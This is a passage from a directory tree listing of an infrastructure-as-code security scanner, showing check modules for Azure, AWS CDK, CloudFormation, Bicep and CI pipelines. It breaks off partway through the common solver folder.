│ │ ├── MSSQLServerMinTLSVersion.py │ │ │ ├── MariaDBGeoBackupEnabled.py │ │ │ ├── MariaDBPublicAccessDisabled.py │ │ │ ├── MariaDBSSLEnforcementEnabled.py │ │ │ ├── MonitorLogProfileCategories.py │ │ │ ├── MonitorLogProfileRetentionDays.py │ │ │ ├── MySQLEncryptionEnabled.py │ │ │ ├── MySQLGeoBackupEnabled.py │ │ │ ├── MySQLPublicAccessDisabled.py │ │ │ ├── MySQLServerMinTLSVersion.py │ │ │ ├── MySQLServerSSLEnforcementEnabled.py │ │ │ ├── NSGRuleHTTPAccessRestricted.py │ │ │ ├── NSGRulePortAccessRestricted.py │ │ │ ├── NSGRuleRDPAccessRestricted.py │ │ │ ├── NSGRuleSSHAccessRestricted.py │ │ │ ├── NetworkWatcherFlowLogPeriod.py │ │ │ ├── PostgreSQLEncryptionEnabled.py │ │ │ ├── PostgreSQLServerConnectionThrottlingEnabled.py │ │ │ ├── PostgreSQLServerLogCheckpointsEnabled.py │ │ │ ├── PostgreSQLServerLogConnectionsEnabled.py │ │ │ ├── PostgreSQLServerPublicAccessDisabled.py │ │ │ ├── PostgreSQLServerSSLEnforcementEnabled.py │ │ │ ├── PostgressSQLGeoBackupEnabled.py │ │ │ ├── PubsubSKUSLA.py │ │ │ ├── PubsubSpecifyIdentity.py │ │ │ ├── RedisCachePublicNetworkAccessEnabled.py │ │ │ ├── SQLDatabaseZoneRedundant.py │ │ │ ├── SQLServerAuditingEnabled.py │ │ │ ├── SQLServerAuditingRetention90Days.py │ │ │ ├── SQLServerEmailAlertsEnabled.py │ │ │ ├── SQLServerEmailAlertsToAdminsEnabled.py │ │ │ ├── SQLServerHasPublicAccessDisabled.py │ │ │ ├── SQLServerNoPublicAccess.py │ │ │ ├── SQLServerThreatDetectionTypes.py │ │ │ ├── SQLServerUsesADAuth.py │ │ │ ├── SecretContentType.py │ │ │ ├── SecretExpirationDate.py │ │ │ ├── SecurityCenterContactEmailAlert.py │ │ │ ├── SecurityCenterContactEmailAlertAdmins.py │ │ │ ├── SecurityCenterContactPhone.py │ │ │ ├── SecurityCenterStandardPricing.py │ │ │ ├── StorageAccountAzureServicesAccessEnabled.py │ │ │ ├── StorageAccountDefaultNetworkAccessDeny.py │ │ │ ├── StorageAccountDisablePublicAccess.py │ │ │ ├── StorageAccountLoggingQueueServiceEnabled.py │ │ │ ├── StorageAccountMinimumTlsVersion.py │ │ │ ├── StorageAccountName.py │ │ │ ├── StorageAccountsTransportEncryption.py │ │ │ ├── StorageAccountsUseReplication.py │ │ │ ├── StorageBlobServiceContainerPrivateAccess.py │ │ │ ├── StorageSyncPublicAccessDisabled.py │ │ │ ├── SynapseWorkspaceAdministratorLoginPasswordHidden.py │ │ │ ├── SynapseWorkspaceCMKEncryption.py │ │ │ ├── SynapseWorkspaceEnablesDataExfilProtection.py │ │ │ ├── SynapseWorkspaceEnablesManagedVirtualNetworks.py │ │ │ ├── VMCredsInCustomData.py │ │ │ ├── VMDisablePasswordAuthentication.py │ │ │ ├── VMEncryptionAtHostEnabled.py │ │ │ ├── VMScaleSetsAutoOSImagePatchingEnabled.py │ │ │ ├── VMStorageOsDisk.py │ │ │ ├── VnetLocalDNS.py │ │ │ ├── VnetSingleDNSServer.py │ │ │ ├── WinVMAutomaticUpdates.py │ │ │ ├── WinVMEncryptionAtHost.py │ │ │ └── __init__.py │ │ ├── context_parser.py │ │ ├── graph_builder/ │ │ │ ├── __init__.py │ │ │ ├── definition_context.py │ │ │ ├── graph_components/ │ │ │ │ ├── __init__.py │ │ │ │ ├── block_types.py │ │ │ │ └── blocks.py │ │ │ ├── graph_to_definitions.py │ │ │ ├── local_graph.py │ │ │ └── variable_rendering/ │ │ │ ├── __init__.py │ │ │ └── renderer.py │ │ ├── graph_manager.py │ │ ├── parser/ │ │ │ ├── __init__.py │ │ │ └── parser.py │ │ ├── registry.py │ │ ├── runner.py │ │ └── utils.py │ ├── azure_pipelines/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── base_azure_pipelines_check.py │ │ │ ├── job/ │ │ │ │ ├── ContainerDigest.py │ │ │ │ ├── ContainerLatestTag.py │ │ │ │ ├── DetectImagesUsage.py │ │ │ │ ├── SetSecretVariable.py │ │ │ │ └── __init__.py │ │ │ └── registry.py │ │ ├── common/ │ │ │ ├── __init__.py │ │ │ └── resource_id_utils.py │ │ └── runner.py │ ├── bicep/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── graph_checks/ │ │ │ │ ├── SQLServerAuditingEnabled.yaml │ │ │ │ ├── SQLServerAuditingRetention90Days.yaml │ │ │ │ ├── SQLServerThreatDetectionTypes.yaml │ │ │ │ └── __init__.py │ │ │ ├── param/ │ │ │ │ ├── __init__.py │ │ │ │ ├── azure/ │ │ │ │ │ ├── SecureStringParameterNoHardcodedValue.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── base_param_check.py │ │ │ │ ├── base_registry.py │ │ │ │ └── registry.py │ │ │ └── resource/ │ │ │ ├── __init__.py │ │ │ ├── azure/ │ │ │ │ ├── StorageAccountAzureServicesAccessEnabled.py │ │ │ │ ├── StorageAccountDefaultNetworkAccessDeny.py │ │ │ │ ├── StorageAccountsTransportEncryption.py │ │ │ │ └── __init__.py │ │ │ ├── base_registry.py │ │ │ ├── base_resource_check.py │ │ │ ├── base_resource_value_check.py │ │ │ └── registry.py │ │ ├── graph_builder/ │ │ │ ├── __init__.py │ │ │ ├── context_definitions.py │ │ │ ├── graph_components/ │ │ │ │ ├── __init__.py │ │ │ │ ├── block_types.py │ │ │ │ └── blocks.py │ │ │ ├── graph_to_tf_definitions.py │ │ │ ├── local_graph.py │ │ │ └── variable_rendering/ │ │ │ ├── __init__.py │ │ │ └── renderer.py │ │ ├── graph_manager.py │ │ ├── image_referencer/ │ │ │ ├── __init__.py │ │ │ ├── base_provider.py │ │ │ ├── manager.py │ │ │ └── provider/ │ │ │ ├── __init__.py │ │ │ └── azure.py │ │ ├── parser.py │ │ ├── runner.py │ │ └── utils.py │ ├── bitbucket/ │ │ ├── __init__.py │ │ ├── base_bitbucket_configuration_check.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ └── merge_requests_approvals.py │ │ ├── dal.py │ │ ├── registry.py │ │ ├── runner.py │ │ └── schemas/ │ │ ├── __init__.py │ │ └── branch_restrictions.py │ ├── bitbucket_pipelines/ │ │ ├── __init__.py │ │ ├── base_bitbucket_pipelines_check.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ └── latest_image.py │ │ ├── registry.py │ │ └── runner.py │ ├── cdk/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── python/ │ │ │ │ ├── ALBDropHttpHeaders.yaml │ │ │ │ ├── ALBListenerHTTPS.yaml │ │ │ │ ├── APIGatewayAccessLogging.yaml │ │ │ │ ├── APIGatewayAuthorization.yaml │ │ │ │ ├── APIGatewayCacheEnable.yaml │ │ │ │ ├── APIGatewayV2AccessLogging.yaml │ │ │ │ ├── APIGatewayXray.yaml │ │ │ │ ├── AmazonMQBrokerPublicAccess.yaml │ │ │ │ ├── AppSyncFieldLevelLogs.yaml │ │ │ │ ├── AppSyncLogging.yaml │ │ │ │ ├── AthenaWorkgroupConfiguration.yaml │ │ │ │ ├── AuroraEncryption.yaml │ │ │ │ ├── BackupVaultEncrypted.yaml │ │ │ │ ├── CloudFrontTLS12.yaml │ │ │ │ ├── CloudTrailLogValidation.yaml │ │ │ │ ├── CloudWatchLogGroupKMSKey.yaml │ │ │ │ ├── CloudWatchLogGroupRetention.yaml │ │ │ │ ├── CloudfrontDistributionEncryption.yaml │ │ │ │ ├── CloudfrontDistributionLogging.yaml │ │ │ │ ├── CloudtrailEncryption.yaml │ │ │ │ ├── CloudtrailMultiRegion.yaml │ │ │ │ ├── CodeBuildProjectEncryption.yaml │ │ │ │ ├── DAXEncryption.yaml │ │ │ │ ├── DMSReplicationInstancePubliclyAccessible.yaml │ │ │ │ ├── DocDBAuditLogs.yaml │ │ │ │ ├── DocDBEncryption.yaml │ │ │ │ ├── DocDBTLS.yaml │ │ │ │ ├── DynamodbGlobalTableRecovery.yaml │ │ │ │ ├── DynamodbRecovery.yaml │ │ │ │ ├── EBSEncryption.yaml │ │ │ │ ├── EC2PublicIP.yaml │ │ │ │ ├── ECRImageScanning.yaml │ │ │ │ ├── ECRImmutableTags.yaml │ │ │ │ ├── ECRRepositoryEncrypted.yaml │ │ │ │ ├── ECSClusterContainerInsights.yaml │ │ │ │ ├── ECSTaskDefinitionEFSVolumeEncryption.yaml │ │ │ │ ├── EFSEncryptionEnabled.yaml │ │ │ │ ├── EKSSecretsEncryption.yaml │ │ │ │ ├── ELBAccessLogs.yaml │ │ │ │ ├── ELBv2AccessLogs.yaml │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtRest.yaml │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransit.yaml │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransitAuthToken.yaml │ │ │ │ ├── ElasticsearchDomainEnforceHTTPS.yaml │ │ │ │ ├── ElasticsearchDomainLogging.yaml │ │ │ │ ├── ElasticsearchEncryption.yaml │ │ │ │ ├── ElasticsearchNodeToNodeEncryption.yaml │ │ │ │ ├── GlueDataCatalogEncryption.yaml │ │ │ │ ├── GlueSecurityConfiguration.yaml │ │ │ │ ├── GlueSecurityConfigurationEnabled.yaml │ │ │ │ ├── IAMPolicyAttachedToGroupOrRoles.yaml │ │ │ │ ├── KinesisStreamEncryptionType.yaml │ │ │ │ ├── LambdaDLQConfigured.yaml │ │ │ │ ├── LambdaEnvironmentCredentials.yaml │ │ │ │ ├── LambdaEnvironmentEncryptionSettings.yaml │ │ │ │ ├── LambdaFunctionLevelConcurrentExecutionLimit.yaml │ │ │ │ ├── LambdaInVPC.yaml │ │ │ │ ├── LaunchConfigurationEBSEncryption.yaml │ │ │ │ ├── NeptuneClusterStorageEncrypted.yaml │ │ │ │ ├── RDSEnhancedMonitorEnabled.yaml │ │ │ │ ├── RDSMultiAZEnabled.yaml │ │ │ │ ├── RDSPubliclyAccessible.yaml │ │ │ │ ├── RedShiftSSL.yaml │ │ │ │ ├── RedshiftClusterEncryption.yaml │ │ │ │ ├── RedshiftClusterLogging.yaml │ │ │ │ ├── RedshiftClusterPubliclyAccessible.yaml │ │ │ │ ├── RedshiftInEc2ClassicMode.yaml │ │ │ │ ├── S3BlockPublicACLs.yaml │ │ │ │ ├── S3BlockPublicPolicy.yaml │ │ │ │ ├── S3BucketEncryption.yaml │ │ │ │ ├── S3BucketKMSEncryption.yaml │ │ │ │ ├── S3BucketLogging.yaml │ │ │ │ ├── S3BucketPublicAccessBlock.yaml │ │ │ │ ├── S3BucketVersioning.yaml │ │ │ │ ├── S3IgnorePublicACLs.yaml │ │ │ │ ├── S3PublicACLRead.yaml │ │ │ │ ├── S3PublicACLWrite.yaml │ │ │ │ ├── S3RestrictPublicBuckets.yaml │ │ │ │ ├── SNSTopicEncryption.yaml │ │ │ │ ├── SQSQueueEncryption.yaml │ │ │ │ ├── SecretManagerSecretEncrypted.yaml │ │ │ │ ├── SecurityGroupRuleDescription.yaml │ │ │ │ ├── TransferServerIsPublic.yaml │ │ │ │ ├── VPCEndpointAcceptanceConfigured.yaml │ │ │ │ ├── WAFEnabled.yaml │ │ │ │ ├── WorkspaceRootVolumeEncrypted.yaml │ │ │ │ └── WorkspaceUserVolumeEncrypted.yaml │ │ │ └── typescript/ │ │ │ ├── ALBDropHttpHeaders.yaml │ │ │ ├── ALBListenerHTTPS.yaml │ │ │ ├── APIGatewayAccessLogging.yaml │ │ │ ├── APIGatewayAuthorization.yaml │ │ │ ├── APIGatewayCacheEnable.yaml │ │ │ ├── APIGatewayV2AccessLogging.yaml │ │ │ ├── APIGatewayXray.yaml │ │ │ ├── AmazonMQBrokerPublicAccess.yaml │ │ │ ├── AppSyncFieldLevelLogs.yaml │ │ │ ├── AppSyncLogging.yaml │ │ │ ├── AthenaWorkgroupConfiguration.yaml │ │ │ ├── AuroraEncryption.yaml │ │ │ ├── BackupVaultEncrypted.yaml │ │ │ ├── CloudFrontTLS12.yaml │ │ │ ├── CloudTrailLogValidation.yaml │ │ │ ├── CloudWatchLogGroupKMSKey.yaml │ │ │ ├── CloudWatchLogGroupRetention.yaml │ │ │ ├── CloudfrontDistributionEncryption.yaml │ │ │ ├── CloudfrontDistributionLogging.yaml │ │ │ ├── CloudtrailEncryption.yaml │ │ │ ├── CloudtrailMultiRegion.yaml │ │ │ ├── CodeBuildProjectEncryption.yaml │ │ │ ├── DAXEncryption.yaml │ │ │ ├── DMSReplicationInstancePubliclyAccessible.yaml │ │ │ ├── DocDBAuditLogs.yaml │ │ │ ├── DocDBEncryption.yaml │ │ │ ├── DocDBTLS.yaml │ │ │ ├── DynamodbGlobalTableRecovery.yaml │ │ │ ├── DynamodbRecovery.yaml │ │ │ ├── EBSEncryption.yaml │ │ │ ├── EC2PublicIP.yaml │ │ │ ├── ECRImageScanning.yaml │ │ │ ├── ECRImmutableTags.yaml │ │ │ ├── ECRRepositoryEncrypted.yaml │ │ │ ├── ECSClusterContainerInsights.yaml │ │ │ ├── ECSTaskDefinitionEFSVolumeEncryption.yaml │ │ │ ├── EFSEncryptionEnabled.yaml │ │ │ ├── EKSSecretsEncryption.yaml │ │ │ ├── ELBAccessLogs.yaml │ │ │ ├── ELBv2AccessLogs.yaml │ │ │ ├── ElasticacheReplicationGroupEncryptionAtRest.yaml │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransit.yaml │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransitAuthToken.yaml │ │ │ ├── ElasticsearchDomainEnforceHTTPS.yaml │ │ │ ├── ElasticsearchDomainLogging.yaml │ │ │ ├── ElasticsearchEncryption.yaml │ │ │ ├── ElasticsearchNodeToNodeEncryption.yaml │ │ │ ├── GlueDataCatalogEncryption.yaml │ │ │ ├── GlueSecurityConfiguration.yaml │ │ │ ├── GlueSecurityConfigurationEnabled.yaml │ │ │ ├── IAMPolicyAttachedToGroupOrRoles.yaml │ │ │ ├── KinesisStreamEncryptionType.yaml │ │ │ ├── LambdaDLQConfigured.yaml │ │ │ ├── LambdaEnvironmentCredentials.yaml │ │ │ ├── LambdaEnvironmentEncryptionSettings.yaml │ │ │ ├── LambdaFunctionLevelConcurrentExecutionLimit.yaml │ │ │ ├── LambdaInVPC.yaml │ │ │ ├── LaunchConfigurationEBSEncryption.yaml │ │ │ ├── NeptuneClusterStorageEncrypted.yaml │ │ │ ├── RDSEnhancedMonitorEnabled.yaml │ │ │ ├── RDSMultiAZEnabled.yaml │ │ │ ├── RDSPubliclyAccessible.yaml │ │ │ ├── RedShiftSSL.yaml │ │ │ ├── RedshiftClusterEncryption.yaml │ │ │ ├── RedshiftClusterLogging.yaml │ │ │ ├── RedshiftClusterPubliclyAccessible.yaml │ │ │ ├── RedshiftInEc2ClassicMode.yaml │ │ │ ├── S3BlockPublicACLs.yaml │ │ │ ├── S3BlockPublicPolicy.yaml │ │ │ ├── S3BucketEncryption.yaml │ │ │ ├── S3BucketKMSEncryption.yaml │ │ │ ├── S3BucketLogging.yaml │ │ │ ├── S3BucketPublicAccessBlock.yaml │ │ │ ├── S3BucketVersioning.yaml │ │ │ ├── S3PublicACLRead.yaml │ │ │ ├── S3RestrictPublicBuckets.yaml │ │ │ ├── SNSTopicEncryption.yaml │ │ │ ├── SQSQueueEncryption.yaml │ │ │ ├── SecretManagerSecretEncrypted.yaml │ │ │ ├── SecurityGroupRuleDescription.yaml │ │ │ ├── TransferServerIsPublic.yaml │ │ │ ├── VPCEndpointAcceptanceConfigured.yaml │ │ │ ├── WAFEnabled.yaml │ │ │ ├── WorkspaceRootVolumeEncrypted.yaml │ │ │ └── WorkspaceUserVolumeEncrypted.yaml │ │ ├── checks_infra/ │ │ │ ├── __init__.py │ │ │ └── base_registry.py │ │ ├── report.py │ │ └── runner.py │ ├── circleci_pipelines/ │ │ ├── __init__.py │ │ ├── base_circleci_pipelines_check.py │ │ ├── checks/ │ │ │ ├── DetectImagesUsage.py │ │ │ ├── ReverseShellNetcat.py │ │ │ ├── ShellInjection.py │ │ │ ├── SuspectCurlInScript.py │ │ │ ├── __init__.py │ │ │ ├── image_version_not_hash.py │ │ │ ├── latest_image.py │ │ │ ├── prevent_development_orbs.py │ │ │ └── prevent_volatile_orbs.py │ │ ├── common/ │ │ │ ├── __init__.py │ │ │ └── shell_injection_list.py │ │ ├── registry.py │ │ └── runner.py │ ├── cloudformation/ │ │ ├── __init__.py │ │ ├── cfn_utils.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── graph_checks/ │ │ │ │ ├── ACMWildcardDomainName.yaml │ │ │ │ ├── AppSyncProtectedByWAF.yaml │ │ │ │ ├── CloudfrontOriginNotHTTPSOnly.yaml │ │ │ │ ├── LambdaOpenCorsPolicy.yaml │ │ │ │ ├── RDSEncryptionInTransit.yaml │ │ │ │ ├── SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml │ │ │ │ └── __init__.py │ │ │ ├── resource/ │ │ │ │ ├── BaseCloudsplainingIAMCheck.py │ │ │ │ ├── __init__.py │ │ │ │ ├── aws/ │ │ │ │ │ ├── ALBDropHttpHeaders.py │ │ │ │ │ ├── ALBListenerHTTPS.py │ │ │ │ │ ├── ALBListenerTLS12.py │ │ │ │ │ ├── APIGatewayAccessLogging.py │ │ │ │ │ ├── APIGatewayAuthorization.py │ │ │ │ │ ├── APIGatewayCacheEnable.py │ │ │ │ │ ├── APIGatewayV2AccessLogging.py │ │ │ │ │ ├── APIGatewayXray.py │ │ │ │ │ ├── AbsSecurityGroupUnrestrictedIngress.py │ │ │ │ │ ├── AmazonMQBrokerPublicAccess.py │ │ │ │ │ ├── AppSyncFieldLevelLogs.py │ │ │ │ │ ├── AppSyncLogging.py │ │ │ │ │ ├── AthenaWorkgroupConfiguration.py │ │ │ │ │ ├── AuroraEncryption.py │ │ │ │ │ ├── BackupVaultEncrypted.py │ │ │ │ │ ├── BedrockAgentEncrypted.py │ │ │ │ │ ├── CloudFrontTLS12.py │ │ │ │ │ ├── CloudWatchLogGroupKMSKey.py │ │ │ │ │ ├── CloudWatchLogGroupRetention.py │ │ │ │ │ ├── CloudfrontDistributionEncryption.py │ │ │ │ │ ├── CloudfrontDistributionLogging.py │ │ │ │ │ ├── CloudtrailEncryption.py │ │ │ │ │ ├── CloudtrailLogValidation.py │ │ │ │ │ ├── CloudtrailMultiRegion.py │ │ │ │ │ ├── CodeBuildProjectEncryption.py │ │ │ │ │ ├── CognitoUnauthenticatedIdentities.py │ │ │ │ │ ├── DAXEncryption.py │ │ │ │ │ ├── DMSReplicationInstancePubliclyAccessible.py │ │ │ │ │ ├── DeprecatedLambdaRuntime.py │ │ │ │ │ ├── DocDBAuditLogs.py │ │ │ │ │ ├── DocDBBackupRetention.py │ │ │ │ │ ├── DocDBEncryption.py │ │ │ │ │ ├── DocDBLogging.py │ │ │ │ │ ├── DocDBTLS.py │ │ │ │ │ ├── DynamoDBTablesEncrypted.py │ │ │ │ │ ├── DynamodbGlobalTableRecovery.py │ │ │ │ │ ├── DynamodbRecovery.py │ │ │ │ │ ├── EBSDefaultEncryption.py │ │ │ │ │ ├── EBSEncryption.py │ │ │ │ │ ├── EC2Credentials.py │ │ │ │ │ ├── EC2PublicIP.py │ │ │ │ │ ├── ECRImageScanning.py │ │ │ │ │ ├── ECRImmutableTags.py │ │ │ │ │ ├── ECRPolicy.py │ │ │ │ │ ├── ECRRepositoryEncrypted.py │ │ │ │ │ ├── ECSClusterContainerInsights.py │ │ │ │ │ ├── ECSTaskDefinitionEFSVolumeEncryption.py │ │ │ │ │ ├── EFSEncryptionEnabled.py │ │ │ │ │ ├── EKSControlPlaneLogging.py │ │ │ │ │ ├── EKSNodeGroupRemoteAccess.py │ │ │ │ │ ├── EKSPublicAccess.py │ │ │ │ │ ├── EKSPublicAccessCIDR.py │ │ │ │ │ ├── EKSSecretsEncryption.py │ │ │ │ │ ├── ELBAccessLogs.py │ │ │ │ │ ├── ELBv2AccessLogs.py │ │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtRest.py │ │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransit.py │ │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py │ │ │ │ │ ├── ElasticsearchDomainAuditLogging.py │ │ │ │ │ ├── ElasticsearchDomainEnforceHTTPS.py │ │ │ │ │ ├── ElasticsearchDomainLogging.py │ │ │ │ │ ├── ElasticsearchEncryption.py │ │ │ │ │ ├── ElasticsearchNodeToNodeEncryption.py │ │ │ │ │ ├── GlobalAcceleratorAcceleratorFlowLogs.py │ │ │ │ │ ├── GlueDataCatalogEncryption.py │ │ │ │ │ ├── GlueSecurityConfiguration.py │ │ │ │ │ ├── GlueSecurityConfigurationEnabled.py │ │ │ │ │ ├── IAMAdminPolicyDocument.py │ │ │ │ │ ├── IAMCredentialsExposure.py │ │ │ │ │ ├── IAMDataExfiltration.py │ │ │ │ │ ├── IAMPermissionsManagement.py │ │ │ │ │ ├── IAMPolicyAttachedToGroupOrRoles.py │ │ │ │ │ ├── IAMPrivilegeEscalation.py │ │ │ │ │ ├── IAMRoleAllowAssumeFromAccount.py │ │ │ │ │ ├── IAMRoleAllowsPublicAssume.py │ │ │ │ │ ├── IAMStarActionPolicyDocument.py │ │ │ │ │ ├── IAMWriteAccess.py │ │ │ │ │ ├── IMDSv1Disabled.py │ │ │ │ │ ├── KMSKeyWildCardPrincipal.py │ │ │ │ │ ├── KMSRotation.py │ │ │ │ │ ├── KinesisStreamEncryptionType.py │ │ │ │ │ ├── LambdaDLQConfigured.py │ │ │ │ │ ├── LambdaEnvironmentCredentials.py │ │ │ │ │ ├── LambdaEnvironmentEncryptionSettings.py │ │ │ │ │ ├── LambdaFunctionLevelConcurrentExecutionLimit.py │ │ │ │ │ ├── LambdaFunctionURLAuth.py │ │ │ │ │ ├── LambdaInVPC.py │ │ │ │ │ ├── LambdaServicePermission.py │ │ │ │ │ ├── LaunchConfigurationEBSEncryption.py │ │ │ │ │ ├── MQBrokerAuditLogging.py │ │ │ │ │ ├── MSKClusterEncryption.py │ │ │ │ │ ├── MSKClusterLogging.py │ │ │ │ │ ├── MSKClusterNodesArePrivate.py │ │ │ │ │ ├── NeptuneClusterBackupRetention.py │ │ │ │ │ ├── NeptuneClusterInstancePublic.py │ │ │ │ │ ├── NeptuneClusterLogging.py │ │ │ │ │ ├── NeptuneClusterStorageEncrypted.py │ │ │ │ │ ├── ParameterStoreCredentials.py │ │ │ │ │ ├── PasswordPolicyExpiration.py │ │ │ │ │ ├── PasswordPolicyLength.py │ │ │ │ │ ├── PasswordPolicyLowercaseLetter.py │ │ │ │ │ ├── PasswordPolicyNumber.py │ │ │ │ │ ├── PasswordPolicyReuse.py │ │ │ │ │ ├── PasswordPolicySymbol.py │ │ │ │ │ ├── PasswordPolicyUppercaseLetter.py │ │ │ │ │ ├── QLDBLedgerDeletionProtection.py │ │ │ │ │ ├── QLDBLedgerPermissionsMode.py │ │ │ │ │ ├── RDSClusterIAMAuthentication.py │ │ │ │ │ ├── RDSEncryption.py │ │ │ │ │ ├── RDSEnhancedMonitorEnabled.py │ │ │ │ │ ├── RDSIAMAuthentication.py │ │ │ │ │ ├── RDSMultiAZEnabled.py │ │ │ │ │ ├── RDSPubliclyAccessible.py │ │ │ │ │ ├── RedShiftSSL.py │ │ │ │ │ ├── RedshiftClusterEncryption.py │ │ │ │ │ ├── RedshiftClusterLogging.py │ │ │ │ │ ├── RedshiftClusterPubliclyAccessible.py │ │ │ │ │ ├── RedshiftInEc2ClassicMode.py │ │ │ │ │ ├── S3AccessLogs.py │ │ │ │ │ ├── S3BlockPublicACLs.py │ │ │ │ │ ├── S3BlockPublicPolicy.py │ │ │ │ │ ├── S3Encryption.py │ │ │ │ │ ├── S3IgnorePublicACLs.py │ │ │ │ │ ├── S3PublicACLRead.py │ │ │ │ │ ├── S3PublicACLWrite.py │ │ │ │ │ ├── S3RestrictPublicBuckets.py │ │ │ │ │ ├── S3Versioning.py │ │ │ │ │ ├── SNSTopicEncryption.py │ │ │ │ │ ├── SQSQueueEncryption.py │ │ │ │ │ ├── SagemakerDataQualityJobDefinitionEncryption.py │ │ │ │ │ ├── SagemakerDataQualityJobDefinitionTrafficEncryption.py │ │ │ │ │ ├── SagemakerDataQualityJobDefinitionVolumeEncryption.py │ │ │ │ │ ├── SagemakerModelWithNetworkIsolation.py │ │ │ │ │ ├── SagemakerNotebookEncryptedWithCMK.py │ │ │ │ │ ├── SagemakerNotebookInstanceAllowsIMDSv2.py │ │ │ │ │ ├── SecretManagerSecretEncrypted.py │ │ │ │ │ ├── SecurityGroupRuleDescription.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngress22.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngress3389.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngress80.py │ │ │ │ │ ├── TimestreamDatabaseKMSKey.py │ │ │ │ │ ├── TransferServerIsPublic.py │ │ │ │ │ ├── VPCEndpointAcceptanceConfigured.py │ │ │ │ │ ├── WAFACLCVE202144228.py │ │ │ │ │ ├── WAFEnabled.py │ │ │ │ │ ├── WorkspaceRootVolumeEncrypted.py │ │ │ │ │ ├── WorkspaceUserVolumeEncrypted.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── base_registry.py │ │ │ │ ├── base_resource_check.py │ │ │ │ ├── base_resource_negative_value_check.py │ │ │ │ ├── base_resource_value_check.py │ │ │ │ └── registry.py │ │ │ └── utils/ │ │ │ ├── __init__.py │ │ │ └── iam_cloudformation_document_to_policy_converter.py │ │ ├── context_parser.py │ │ ├── graph_builder/ │ │ │ ├── __init__.py │ │ │ ├── graph_components/ │ │ │ │ ├── __init__.py │ │ │ │ ├── block_types.py │ │ │ │ ├── blocks.py │ │ │ │ └── generic_resource_encryption.py │ │ │ ├── graph_to_definitions.py │ │ │ ├── local_graph.py │ │ │ ├── utils.py │ │ │ └── variable_rendering/ │ │ │ ├── __init__.py │ │ │ ├── renderer.py │ │ │ └── vertex_reference.py │ │ ├── graph_manager.py │ │ ├── image_referencer/ │ │ │ ├── __init__.py │ │ │ ├── base_provider.py │ │ │ ├── manager.py │ │ │ └── provider/ │ │ │ ├── __init__.py │ │ │ └── aws.py │ │ ├── parser/ │ │ │ ├── __init__.py │ │ │ ├── cfn_keywords.py │ │ │ └── cfn_yaml.py │ │ └── runner.py │ ├── common/ │ │ ├── __init__.py │ │ ├── bridgecrew/ │ │ │ ├── __init__.py │ │ │ ├── bc_source.py │ │ │ ├── check_type.py │ │ │ ├── code_categories.py │ │ │ ├── integration_features/ │ │ │ │ ├── __init__.py │ │ │ │ ├── base_integration_feature.py │ │ │ │ ├── features/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── custom_policies_integration.py │ │ │ │ │ ├── fixes_integration.py │ │ │ │ │ ├── licensing_integration.py │ │ │ │ │ ├── policies_3d_integration.py │ │ │ │ │ ├── policy_metadata_integration.py │ │ │ │ │ ├── repo_config_integration.py │ │ │ │ │ ├── suppressions_integration.py │ │ │ │ │ └── vulnerabilities_integration.py │ │ │ │ └── integration_feature_registry.py │ │ │ ├── licensing.py │ │ │ ├── platform_errors.py │ │ │ ├── platform_integration.py │ │ │ ├── platform_key.py │ │ │ ├── run_metadata/ │ │ │ │ ├── __init__.py │ │ │ │ ├── abstract_run_metadata_extractor.py │ │ │ │ ├── ci_variables.py │ │ │ │ ├── extractors/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── bitbucket.py │ │ │ │ │ ├── default_extractor.py │ │ │ │ │ ├── github_actions.py │ │ │ │ │ ├── gitlab_ci.py │ │ │ │ │ └── jenkins.py │ │ │ │ └── registry.py │ │ │ ├── severities.py │ │ │ ├── vulnerability_scanning/ │ │ │ │ ├── __init__.py │ │ │ │ ├── image_scanner.py │ │ │ │ ├── integrations/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── docker_image_scanning.py │ │ │ │ │ ├── package_scanning.py │ │ │ │ │ └── twistcli.py │ │ │ │ └── report.py │ │ │ └── wrapper.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── base_check.py │ │ │ ├── base_check_registry.py │ │ │ ├── enums.py │ │ │ └── object_registry.py │ │ ├── checks_infra/ │ │ │ ├── __init__.py │ │ │ ├── checks_parser.py │ │ │ ├── registry.py │ │ │ ├── resources_types.py │ │ │ └── solvers/ │ │ │ ├── __init__.py │ │ │ ├── attribute_solvers/ │ │ │ │ ├── __init__.py │ │ │ │ ├── any_attribute_solver.py │ │ │ │ ├── base_attribute_solver.py │ │ │ │ ├── base_number_of_words_attribute_solver.py │ │ │ │ ├── cidr_range_not_subset_attribute_solver.py │ │ │ │ ├── cidr_range_subset_attribute_solver.py │ │ │ │ ├── contains_attribute_solver.py │ │ │ │ ├── ending_with_attribute_solver.py │ │ │ │ ├── equals_attribute_solver.py │ │ │ │ ├── equals_ignore_case_attribute_solver.py │ │ │ │ ├── exists_attribute_solver.py │ │ │ │ ├── greater_than_attribute_solver.py │ │ │ │ ├── greater_than_or_equal_attribute_solver.py │ │ │ │ ├── intersects_attribute_solver.py │ │ │ │ ├── is_empty_attribute_solver.py │ │ │ │ ├── is_false_attribute_solver.py │ │ │ │ ├── is_not_empty_attribute_solver.py │ │ │ │ ├── is_true_attribute_solver.py │ │ │ │ ├── length_equals_attribute_solver.py │ │ │ │ ├── length_greater_than_attribute_solver.py │ │ │ │ ├── 